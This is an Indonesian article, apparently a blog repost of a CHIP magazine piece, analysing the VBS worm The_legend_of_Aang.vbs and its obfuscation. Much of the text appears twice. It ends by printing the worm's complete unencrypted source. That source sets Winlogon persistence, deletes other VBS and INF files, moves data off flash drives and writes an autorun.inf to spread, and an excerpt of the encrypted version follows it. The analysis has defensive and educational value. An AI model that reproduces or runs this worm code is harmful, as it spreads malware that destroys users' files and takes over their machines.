By Tri Amperiyanto
Worm (virus) yang dibuat dengan teknik Scripting (memakai VBS) dapat dilihat listing programnya secara langsung. Tentu saja hal ini merupakan ancaman bagi eksistensi wor, karena pemakai pada akhirnya dapat mematahkan siklus hidup worm.
Pembuat worm tahu persis akan kelemahan ini, maka bermunculanlah metode enkripsi untuk mengamankan listing sesungguhnya. Sehingga pemakai tidak dapat dengan gampang membaca dan memahami isinya.
Artikel ini akan mencermati satu script real worm terenkripsi, yang bernama The_legend_of_Aang.vbs. Pembahasan tidak akan terlalu detail dan teknis, hanya memberikan keterangan global dari beberapa script. Untuk pemahaman lebih jauh, silahkan dicermati dan dianalisis sendiri secara mandiri.
Cara kerja
Worm script, pada saat aktif, dengan bantuan fasilitas standar scripting Windows – WSH (windows scripting host)/WSCRIPT atau CSCRIPT, akan membuat file dengan nama The_legend_of_Aang.vbs. Seperti lazimnya worm lokal, ia juga akan membuat file eksekutor (autorun.inf) untuk membantu penyebaran worm via flashdisk.
Inisialisasi awal script
Pertama kali, worm script akan melakukan perintah standar untuk menangani kesalahan program, berikut pengaturan beberapa variabel pendukung script. Lalu script akan menyiapkan variabel yang berisi data-data file pendukung yang dibutuhkan.
Penggandaan diri
Worm Script lalu membuat file data stream untuk dirinya sendiri, untuk proses penggandaan diri (kopi). Lalu memeriksa keberadaan file dengan nama The_legend_of_Aang.vbs di folder system. (system atau system32). Jika tidak ditemukan, file akan dibentuk dengan bantuan datastream yang telah dipersiapkan. Pada tahap ini, worm akan memanipulasi Registry windows dengan suatu perintah autorun, dengan teknik manipulasi winlogon userinit.
Pemeriksaan jenis drive
Selanjutnya, script akan menangani setiap drive yang ada pada sistem komputer. Jika jenis drive sama dengan 1 (= removable) atau 2 (= fixed) dan pathnya tidak sama dengan A:, program akan melakukan manipulasi Registry, seperti : mengubah Title dan Start Page Internet Explorer, mengganti default icon file VBS.
Lalu worm script mencari file VBS lain pada drive removable. Jika file VBS tersebut tidak bernama The_legend_of_Aang.vbs, maka akan dihapus. Lalu Worm script membuat suatu folder baru pada folder system dengan nama RemovableCache. Seluruh folder yang ada pada path aktif removabke, berikut datanya akan dipindah ke folder baru tersebut, baru kemudian seluruh folder dan data yang ada pada disk removable akan dihapus. Selanjutnya file dengan nama The_legend_of_Aang.vbs plus file autorun.inf akan dibuat.
Trik pengulangan skrip
Worm Script juga akan menunda proses infeksi, jika jenis drive aktif tidak sama dengan removable disk, selama beberapa waktu. Lalu melakukan proses perputaran pengulangan script. Worm ini memang sederhana dan realtif mudah dijinakkan, jika pemakai dapat membaca listing programnya. Celakanya, versi finalnya worm ini dalam modus terenkripsi. Sehingga saat dilihat isi filenya, yang tampak adalah puluhan baris kosong dan ditengah-tengah file barulah dipasangkan data-data worm yang telah dienkripsi. Dengan cara ini, pemakai yang tidak berpengalaman akan kebingungan dalam membaca dan mengartikan isi file tersebut.
Bagaimana enkripsi dilakukan ?
Worm Script melakukan enkripsi data dengan membaca satu persatu karakter dan mengubahnya menjadi kode karakter ASCII dengan perintah ASC. Kemudian mengubahnya kembali menjadi karakter standar, dengan bantuan perintah CHR dan perintah filtering select .. case…. Setelah semua data di-decoding maka akan disimpan dalam satu variabel. Variabel tersebut pada akhirnya dieksekusi sehingga skrip vbs akan dijalankan. Petikan logika kodenya sebagai berikut :
Dataworm = “……………………”
dim Tampung
for I=1 to Len(dataworm)
variabel1=asc(mid(dataworm,I,1))
selectcase variabel1
case 215
kasus=chr(34)
case 28
kasus=chr(10)
case 29
kasus=chr(13):
case else
kasus=chr(variabel1+1)
end select
Tampung=Tampung & kasus
Next
execute Tampung
Worm script akan berusaha membingungkan pemakai dalam membaca worm. Worm akan meletakkan data-data yang telah dienkrip pada awal data program. Dan variabel penampung data skrip sesungguhnya ( namanya dataworm pada contoh logika di atas) dibuat dengan data alphanumerik acak dan panjang ! variabel dataworm ini pada skrip realnya adalah :
hsndfhhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd
dengan nama variabel panjang, acak dan tidak mengandung arti tersebut, tentu saja mengakibatkan pembacaan data program worm menjadi bertambah rumit.
Setelah nama variabel, di belakang tanda = (sama dengan) barulah diisi dengan data skrip enkrip worm.
Lalu, Worm script melakukan reservarsi variabel untuk data penampung hasil decoding. Pada logika di atas bernama Tampung. Pada skrip realnya bernama acak dan tak beraturan. Yaitu :
assfdsagdfhhgjhgsjnghjhgdfkjhgfghhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd
Selanjutnya, worm script mulai melakukan perulangan dengan perintah for .. next dengan data sebagai berikut :
for I=1 to Len(hsndfhhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u
43cbg7nc34icn478cn345cn438cnddd)
Kemudian proses decoding data enkripsi dilakukan dengan perintah :
YASaFDGsfdgdfgdfhsFGHfdsafdgdfgdfhhFGJHGJGgJjGHJhgsjnghjhgdfkjhgfghhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn47=asc(mid(hsndfhhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd,I,1))
Demikian seterusnya sampai akhirnya terbentuk seperti “kode logika” di atas. Bila Anda berminat mencermati listing program, maka Anda harus melakukan decoding sendiri. Pada awalnya memang terasa sulit namun dengan kesabaran dan ketelatenan dan kebiasaan, saat nanti Anda menemui worm dengan metode enkripsi berbeda, tentu tidak akan mengalami banyak kesulitan dalam mengartikan.
Worm (virus) yang dibuat dengan teknik Scripting (memakai VBS) dapat dilihat listing programnya secara langsung. Tentu saja hal ini merupakan ancaman bagi eksistensi wor, karena pemakai pada akhirnya dapat mematahkan siklus hidup worm.
Pembuat worm tahu persis akan kelemahan ini, maka bermunculanlah metode enkripsi untuk mengamankan listing sesungguhnya. Sehingga pemakai tidak dapat dengan gampang membaca dan memahami isinya.
Artikel ini akan mencermati satu script real worm terenkripsi, yang bernama The_legend_of_Aang.vbs. Pembahasan tidak akan terlalu detail dan teknis, hanya memberikan keterangan global dari beberapa script. Untuk pemahaman lebih jauh, silahkan dicermati dan dianalisis sendiri secara mandiri.
Cara kerja
Worm script, pada saat aktif, dengan bantuan fasilitas standar scripting Windows – WSH (windows scripting host)/WSCRIPT atau CSCRIPT, akan membuat file dengan nama The_legend_of_Aang.vbs. Seperti lazimnya worm lokal, ia juga akan membuat file eksekutor (autorun.inf) untuk membantu penyebaran worm via flashdisk.
Inisialisasi awal script
Pertama kali, worm script akan melakukan perintah standar untuk menangani kesalahan program, berikut pengaturan beberapa variabel pendukung script. Lalu script akan menyiapkan variabel yang berisi data-data file pendukung yang dibutuhkan.
Penggandaan diri
Worm Script lalu membuat file data stream untuk dirinya sendiri, untuk proses penggandaan diri (kopi). Lalu memeriksa keberadaan file dengan nama The_legend_of_Aang.vbs di folder system. (system atau system32). Jika tidak ditemukan, file akan dibentuk dengan bantuan datastream yang telah dipersiapkan. Pada tahap ini, worm akan memanipulasi Registry windows dengan suatu perintah autorun, dengan teknik manipulasi winlogon userinit.
Pemeriksaan jenis drive
Selanjutnya, script akan menangani setiap drive yang ada pada sistem komputer. Jika jenis drive sama dengan 1 (= removable) atau 2 (= fixed) dan pathnya tidak sama dengan A:, program akan melakukan manipulasi Registry, seperti : mengubah Title dan Start Page Internet Explorer, mengganti default icon file VBS.
Lalu worm script mencari file VBS lain pada drive removable. Jika file VBS tersebut tidak bernama The_legend_of_Aang.vbs, maka akan dihapus. Lalu Worm script membuat suatu folder baru pada folder system dengan nama RemovableCache. Seluruh folder yang ada pada path aktif removabke, berikut datanya akan dipindah ke folder baru tersebut, baru kemudian seluruh folder dan data yang ada pada disk removable akan dihapus. Selanjutnya file dengan nama The_legend_of_Aang.vbs plus file autorun.inf akan dibuat.
Trik pengulangan skrip
Worm Script juga akan menunda proses infeksi, jika jenis drive aktif tidak sama dengan removable disk, selama beberapa waktu. Lalu melakukan proses perputaran pengulangan script. Worm ini memang sederhana dan realtif mudah dijinakkan, jika pemakai dapat membaca listing programnya. Celakanya, versi finalnya worm ini dalam modus terenkripsi. Sehingga saat dilihat isi filenya, yang tampak adalah puluhan baris kosong dan ditengah-tengah file barulah dipasangkan data-data worm yang telah dienkripsi. Dengan cara ini, pemakai yang tidak berpengalaman akan kebingungan dalam membaca dan mengartikan isi file tersebut.
Gambar 1. isi file worm
Bagaimana enkripsi dilakukan ?
Worm Script melakukan enkripsi data dengan membaca satu persatu karakter dan mengubahnya menjadi kode karakter ASCII dengan perintah ASC. Kemudian mengubahnya kembali menjadi karakter standar, dengan bantuan perintah CHR dan perintah filtering select .. case…. Setelah semua data di-decoding maka akan disimpan dalam satu variabel. Variabel tersebut pada akhirnya dieksekusi sehingga skrip vbs akan dijalankan. Petikan logika kodenya sebagai berikut :
Dataworm = “……………………”
dim Tampung
for I=1 to Len(dataworm)
variabel1=asc(mid(dataworm,I,1))
selectcase variabel1
case 215
kasus=chr(34)
case 28
kasus=chr(10)
case 29
kasus=chr(13):
case else
kasus=chr(variabel1+1)
end select
Tampung=Tampung & kasus
Next
execute Tampung
Worm script akan berusaha membingungkan pemakai dalam membaca worm. Worm akan meletakkan data-data yang telah dienkrip pada awal data program. Dan variabel penampung data skrip sesungguhnya ( namanya dataworm pada contoh logika di atas) dibuat dengan data alphanumerik acak dan panjang ! variabel dataworm ini pada skrip realnya adalah :
hsndfhhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd
dengan nama variabel panjang, acak dan tidak mengandung arti tersebut, tentu saja mengakibatkan pembacaan data program worm menjadi bertambah rumit.
Gambar 2. Nama variabel super panjang (bagian yang diblok)
Setelah nama variabel, di belakang tanda = (sama dengan) barulah diisi dengan data skrip enkrip worm.
Gambar lokasi dari data enkrip sesunguhnya
Lalu, Worm script melakukan reservarsi variabel untuk data penampung hasil decoding. Pada logika di atas bernama Tampung. Pada skrip realnya bernama acak dan tak beraturan. Yaitu :
assfdsagdfhhgjhgsjnghjhgdfkjhgfghhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd
Gambar membuat variabel penampung data
Selanjutnya, worm script mulai melakukan perulangan dengan perintah for .. next dengan data sebagai berikut :
for I=1 to Len(hsndfhhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u
43cbg7nc34icn478cn345cn438cnddd)
Gambar proses looping data
Kemudian proses decoding data enkripsi dilakukan dengan perintah :
YASaFDGsfdgdfgdfhsFGHfdsafdgdfgdfhhFGJHGJGgJjGHJhgsjnghjhgdfkjhgfghhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn47=asc(mid(hsndfhhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd,I,1))
Gambar perintah untuk decoding eknkripsi
Demikian seterusnya sampai akhirnya terbentuk seperti “kode logika” di atas. Bila Anda berminat mencermati listing program, maka Anda harus melakukan decoding sendiri. Pada awalnya memang terasa sulit namun dengan kesabaran dan ketelatenan dan kebiasaan, saat nanti Anda menemui worm dengan metode enkripsi berbeda, tentu tidak akan mengalami banyak kesulitan dalam mengartikan.
Listing Program
Listing program berikut ini disajikan secara apa adanya. versi unencrypt dan encrypted. Cermati dan jangan salah gunakan... !!! :)
versi unencrypt
'******************** Now AnG is Encrypted ***************
'**************************************************************
'******************* Call me The legend of Aang ***************
Option Explicit
On Error Resume Next
Dim Fso
Set Fso = CreateObject("Scripting.FileSystemObject")
Dim Shells
Set Shells = CreateObject("Wscript.Shell")
Dim WinDir
Set WinDir = Fso.GetSpecialFolder(0)
Dim SystemDir
Set SystemDir =Fso.GetSpecialFolder(1)
Dim File
Set File = Fso.GetFile(WScript.ScriptFullName)
Dim Drv
Set Drv=File.Drive
Dim InDrive
Set InDrive = Fso.drives
Dim ReadAll,AllFile
Set ReadAll=File.OpenAsTextStream(1,-2)
do while not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline & vbcrlf
Loop
Dim Count
Count=Drv.DriveType
Dim WriteAll
Do
If Not Fso.FileExists(SystemDir & "\Aang.vbs") then
set WriteAll = Fso.CreateTextFile(SystemDir & "\Aang.vbs",2,true)
WriteAll.Write AllFile
WriteAll.close
set WriteAll = Fso.GetFile(SystemDir & "\Aang.vbs")
WriteAll.Attributes = -1
End If
Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\Aang.vbs"
Dim Drives
For Each Drives In InDrive
If Drives.DriveType=2 Then
LookVBS "inf",Drives.Path & "\"
LookVBS "INF",Drives.Path & "\"
End if
If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path<> "A:" Then
Shells.Regdelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL"
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title",""
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",""
Shells.RegWrite "HKCR\vbsfile\DefaultIcon","%SystemRoot%\System32\WScript.exe,2"
LookVBS "vbs",WinDir & "\"
LookVBS "vbs",Drives.Path & "\"
If Drives.DriveType = 1 Then
If Drives.Path<>"A:" Then
If Not Fso.FileExists(Drives.Path & "\The_Legend_Of_Aang.vbs") Then
set writeall=fso.CreateFolder (SystemDir & "\RemovableCache")
writeall.close
set writeall=fso.copyfolder (Drives.path & "\*",SystemDir & "\RemovableCache")
writeall.close
set writeall=fso.moveFile (Drives.path & "\*.*",SystemDir & "\RemovableCache")
writeall.close
'set writeall=fso.Deletefolder (Drives.path & "\*",2)
writeall.close
'set writeall=fso.DeleteFile (Drives.path & "\*.*",2)
writeall.close
Set WriteAll=Fso.CreateTextFile(Drives.Path & "\The_Legend_Of_Aang.vbs",2,True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\The_Legend_Of_Aang.vbs")
WriteAll.Attributes = -1
writeall.close
End If
If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then
Dim Chg
Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
Chg.Attributes = -8
End if
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[Autorun]" & vbcrlf & "UseAutoplay=1" & vbcrlf & "Icon=%SystemRoot%\system32\SHELL32.dll,7" & vbcrlf & "Shellexecute=wscript.exe The_Legend_Of_Aang.vbs" & vbCrLf & "Shell\OPEN\COMMAND=wscript.exe The_Legend_Of_Aang.vbs"& VbCrlf &"Shell\explore\COMMAND=wscript.exe The_Legend_Of_Aang.vbs" & VbCrLf & "Action=Open folder to view files"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
End If
End if
End if
End If
Next
if Count <> 1 then
Wscript.sleep 10000
end if
loop while Count<>1
sub LookVBS(File2Find, SrchPath)
Dim oFileSys, oFolder, oFile,Cut,Delete
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFileSys.GetFolder(SrchPath)
For Each oFile In oFolder.Files
Cut=Right(oFile.Name,3)
If UCase(Cut)=UCase(file2find) Then
If oFile.Name <> "The_Legend_Of_Aang.vbs" Then Set Delete = oFileSys.DeleteFile(srchpath & oFile.Name,true)
End If
Next
End sub
Versi Encrypted
hsndfhhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd=" &)))))))))))))))))))) Mnv @mF hr Dmbqxosdc ))))))))))))))) &)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) &))))))))))))))))))) B`kk ld Sgd kdfdmc ne @`mf ))))))))))))))) Noshnm Dwokhbhs Nm Dqqnq Qdrtld Mdws Chl Ern Rds Ern < Bqd`sdNaidbs'!Rbqhoshmf-EhkdRxrsdlNaidbs!( Chl Rgdkkr Rds Rgdkkr < Bqd`sdNaidbs'!Vrbqhos-Rgdkk!( Chl VhmChq Rds VhmChq < Ern-FdsRodbh`kEnkcdq'/( Chl RxrsdlChq Rds RxrsdlChq
Note :
Tulisan ini telah dimuat di majalah CHIP, dengan bahasa yang telah “diformalkan”.
Tulisan ini adalah versi aslinya ! Semoga berguna dan digunakan
NYUMET JUGA KEPALA ANE
BalasHapus